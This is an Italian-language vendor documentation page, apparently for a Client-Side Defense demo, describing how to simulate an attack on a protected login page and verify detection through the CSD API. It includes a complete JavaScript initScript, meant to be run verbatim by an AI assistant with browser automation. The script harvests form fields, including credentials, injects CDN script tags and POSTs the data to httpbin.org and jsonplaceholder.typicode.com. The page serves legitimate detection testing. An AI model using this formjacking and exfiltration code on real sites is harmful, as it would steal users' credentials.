- Home
- Difesa lato client
- Demo
- Fase 2 — Attacco
Fase 2 — Attacco
La Fase 2 genera traffico di attacco simulato contro l’applicazione protetta e conferma che CSD lo abbia rilevato. La Fase 1 deve essere completata — tutti i controlli del Passaggio 7 devono risultare PASS — prima di procedere.
Passaggio 8: Simulazione dell’attacco
Sezione intitolata “Passaggio 8: Simulazione dell’attacco”Dopo aver verificato l’infrastruttura (tutti i controlli del Passaggio 7 della Fase 1 risultano PASS), eseguire gli script di simulazione dell’attacco per generare rilevamenti CSD. Gli script sono definiti nella guida Rilevamento trigger e nella Libreria di script di attacco.
Esecuzione automatizzata tramite IA
Sezione intitolata “Esecuzione automatizzata tramite IA”Gli assistenti IA dotati di strumenti di automazione del browser eseguono la simulazione dell’attacco in modo programmatico:
- Navigazione con initScript — navigare prima verso
about:blankper garantire un contesto documento pulito (evita initScript obsoleti da navigazioni precedenti), poinavigate_pageversohttp://$F5XC_DOMAINNAME/#/logincon uninitScriptche salva i riferimenti nativi asetInterval,clearInterval,fetcheconsole.logprima che zone.js li modifichi, esegue il polling dei campi del modulo di accesso, compila le credenziali tramite il setter nativoHTMLInputElement.prototype.valuee avvia immediatamente il Combined Detection Script inline. Utilizzare l’initScript verbatim riportato di seguito. - Chiusura del banner di benvenuto — premere
Escapetramitepress_keyper chiudere il banner di benvenuto. Nelle visite successive il banner potrebbe non apparire (cookie persistenti). Il dialogo di consenso ai cookie viene chiuso automaticamente dal tasto Escape. - Attesa del completamento — attendere 10 secondi affinché tutti i callback di caricamento/errore degli script CDN e le risoluzioni delle promise fetch vengano completati.
- Raccolta delle prove —
list_console_messagesper verificare la presenza di[CSD Demo] Simulation completee i risultati del caricamento CDN;list_network_requestsfiltrato per tipiscriptefetchper verificare i codici di stato HTTP (200/201per esito positivo,pendingper richieste in attesa).
initScript della Fase 2 (verbatim — utilizzare esattamente come scritto):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Esecuzione manuale
Sezione intitolata “Esecuzione manuale”Gli operatori privi di strumenti di automazione del browser eseguono i passaggi manualmente:
- Navigare alla pagina di accesso dell’applicazione protetta:
http://xF5XC_DOMAINNAMEx/#/login - Inserire credenziali fittizie — digitare
test@example.comnel campo Email eP@ssword123nel campo Password (non inviare il modulo) - Aprire DevTools — premere F12 e passare alla scheda Console
- Eseguire il Combined Detection Script — incollare lo script da Rilevamento trigger — Eseguire il Combined Simulation Script nella console e premere Invio
- Verificare l’output della console — confermare che l’output a fasi
[CSD Demo]mostri: raccolta dei campi, iniezione di script da 4 domini CDN ed esfiltrazione dei dati verso 2 endpoint
Cosa viene attivato
Sezione intitolata “Cosa viene attivato”| Segnale | Comportamento | Rilevamento |
|---|---|---|
| Raccolta dei campi del modulo | Legge i valori degli input email e password | Script che leggono campi sensibili del modulo — classificati ad alto rischio |
| Iniezione di script | Inietta 4 tag <script> da cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | Fino a 4 nuovi domini di script di terze parti rilevati (la disponibilità CDN può variare) |
| Esfiltrazione dei dati | Invia i dati raccolti tramite fetch verso www.httpbin.org e jsonplaceholder.typicode.com | Chiamate di rete verso domini esterni |
L’assistente IA deve riportare quanto segue. Per l’esecuzione automatizzata tramite IA, le prove vengono raccolte in modo programmatico tramite list_console_messages (la funzione di polling dell’initScript registra i risultati nella console). Per l’esecuzione manuale, l’operatore legge l’output della console del browser.
| Controllo | Atteso | Stato |
|---|---|---|
| Pagina di accesso caricata | 200 OK su http://$F5XC_DOMAINNAME/#/login | PASS / FAIL |
| Script della console eseguito | [CSD Demo] Simulation complete nell’output della console | PASS / FAIL |
| Campi raccolti | Conteggio > 0 nell’output della console | PASS |
| Script iniettati | 1–4 domini CDN nell’output della console (alcuni potrebbero fallire con errori di risorse) | PASS se appare almeno un dominio CDN |
| Canali di esfiltrazione | 2 tentativi di fetch POST nell’output della console | PASS |
Passaggio 9: Verifica del rilevamento tramite API
Sezione intitolata “Passaggio 9: Verifica del rilevamento tramite API”Interrogare gli endpoint API CSD per confermare la comparsa dei rilevamenti. Utilizzare il ciclo di polling: interrogare /detected_domains ogni 60 secondi; procedere non appena DET-3 risulta PASS. Se DET-3 non risulta PASS dopo 10 minuti, verificare la configurazione CSD. Se DET-3 non risulta PASS dopo 30 minuti, interrompere e segnalare all’operatore. Questi endpoint sono documentati nel Riferimento API e utilizzano la stessa autenticazione e lo stesso namespace dei passaggi precedenti.
Script rilevati
Sezione intitolata “Script rilevati”Interrogare gli script rilevati nelle ultime 24 ore:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| Campo | Atteso | Stato |
|---|---|---|
total | > 0 (script rilevati) | PASS se > 0; PENDING se 0 ma /detected_domains mostra domini di esfiltrazione |
| Nomi degli script | Include i domini CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_name | PASS se compaiono i domini CDN iniettati |
Domini rilevati
Sezione intitolata “Domini rilevati”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| Campo | Atteso | Stato |
|---|---|---|
total_domains | > 0 | PASS se > 0 |
| Elenco domini | Include i domini CDN e di esfiltrazione | PASS se compaiono i domini attesi |
Campi del modulo
Sezione intitolata “Campi del modulo”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| Campo | Atteso | Stato |
|---|---|---|
total | > 0 | PASS se > 0; PENDING se 0 ma DET-3 risulta PASS |
name | Include email, password | PASS se compaiono i campi sensibili |
sensitivity | Sensitive per i campi email/password | PASS se classificato correttamente dal ML |
Riepilogo delle prove della Fase 2
Sezione intitolata “Riepilogo delle prove della Fase 2”Dopo tutte le interrogazioni di rilevamento, presentare lo stato finale del rilevamento:
| ID test | Controllo | Stato |
|---|---|---|
| DET-1 | Script rilevati (endpoint /scripts) | PASS se > 0; PENDING se vuoto ma DET-3 risulta PASS |
| DET-2 | Domini CDN rilevati | PASS / FAIL |
| DET-3 | Domini di esfiltrazione rilevati (/detected_domains) | Indicatore principale — PASS se compaiono www.httpbin.org o jsonplaceholder.typicode.com |
| DET-4 | Campi del modulo rilevati (endpoint /formFields) | PASS se > 0; PENDING se vuoto ma DET-3 risulta PASS |
Fase 2 completata. Procedere a Fase 3 — Mitiga per applicare le regole di mitigazione e verificare che i domini siano bloccati.